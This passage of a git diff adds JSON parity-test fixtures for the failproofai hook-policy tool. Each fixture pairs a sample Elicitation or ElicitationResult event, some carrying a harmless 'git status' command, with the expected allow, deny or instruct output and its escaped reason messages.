1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d13d0472 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0eaa1802 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d678792f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3340c93c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2dd4d6e6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1e1d5823 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..533446a6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..83806866 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..31be9e23 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/Elicitation/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "Elicitation", + "input": { + "event_type": "Elicitation", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Elicitation", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Elicitation", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8ead29e5 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b1cb9203 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..8395ecef --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..edeb0c72 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..62033d2c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..0e7b4dfd --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..dad836c9 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..005fdf56 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f3674305 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..be2ad259 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ 